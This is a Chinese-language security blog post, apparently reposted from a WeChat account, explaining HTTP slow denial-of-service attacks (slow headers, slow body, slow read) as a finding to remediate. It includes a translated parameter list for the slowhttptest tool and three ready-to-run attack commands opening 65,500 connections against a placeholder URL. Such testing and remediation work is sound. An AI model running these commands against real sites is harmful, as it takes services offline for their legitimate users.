HTTP慢速拒绝服务攻击

admin 2022年8月30日19:00:12评论63 views字数 1961阅读6分32秒阅读模式

0x00 背景


隔壁家的漏扫扫出来的漏洞,通报下来要整改,也算是第一次重视类似漏洞

拒绝服务攻击更多的是ddos这种类型听的多,当然经常见到tomcat、nginx一类的拒绝服务相关的漏洞。

简单测试了一下,发现这个漏洞针对web站点的攻击效果非常明显,测试工具跑起来之后访问站点,页面就无法刷新了。


0x01 漏洞原理


HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。


在http协议中,rn代表一行报文的结束也被称为空行(CRLF)而rnrn代表整个报文的结束。



简单来说,在Keep-Alive模式下,就是我们每次只发一行,每次发送之间的间隔时间很长,这迟迟未发送结束的HTTP包会占用服务端的资源,当达到服务端处理请求的上限时,这时候再用户对网站正常请求,服务端也处理不了了,导致了拒绝服务。


HTTP慢速攻击分为三类:


  • Slow headers

  • Slow body

  • Slow read


0x02 测试过程


一般使用工具slowhttptest工具,该工具有如下参数


测试模式:

-H                           slow header,slowloris默认采用此模式          
-B                           slow body
-R                           远程攻击又名Apache killer
-X                           slow read

报告选项:
-g                           生成具有套接字状态更改的统计信息(默认关闭)
-o file_prefix          将统计信息输出保存在file.html和file.csv中(需要-g)
-v level                   日志信息,详细级别0-4:致命,信息,错误,警告,调试

常规选项:
-c connections        连接目标连接数(50)
-i seconds               后续数据之间的间隔(以秒为单位)(10)
-l seconds               测试目标时间长度,以秒为单位(240)
-r rate                     每秒连接数(50)
-s                            如果需要,Content-Length标头的值(4096)
-t                           请求中使用的动词,对于slow header和response,默认为GET;对于slow body,默认为POST
-u URL                     目标的绝对URL(http://localhost/)
-x                           slowloris and Slow POST tests模式中,指定发送的最大数据长度
-f                         Content-Type标头的值(application/x-www-form-urlencoded)
-m                         接受(Accept)标头的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)

探测/代理选项:
-d host:port                 为所有连接指定代理
-e host:port                 为探测连接指定代理
-p seconds                   指定等待时间来确认DoS攻击已经成功

range attack特定选项:
-a                           标头中的起始位置
-b                           标头中的结束位置

slow read特定选项:
-k                           在连接中重复相同请求的次数。如果服务器支持永久连接,则用于成倍增加响应大小。
-n                           从recv缓冲区读取操作之间的时间间隔,以秒为单位(1)
-w                           slow read模式中指定tcp窗口范围下限
-y                           slow read模式中指定tcp窗口范围上限
-z                           在每次的read中,从buffer中读取数据量


使用工具给出一些测试payload


Slow Header模式slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.comSlow Read模式slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.comSlow Post模式slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com


当服务出现如下状态,即站点无法提供正常服务。


HTTP慢速拒绝服务攻击



原文始发于微信公众号(here404):HTTP慢速拒绝服务攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月30日19:00:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTTP慢速拒绝服务攻击https://cn-sec.com/archives/1264077.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息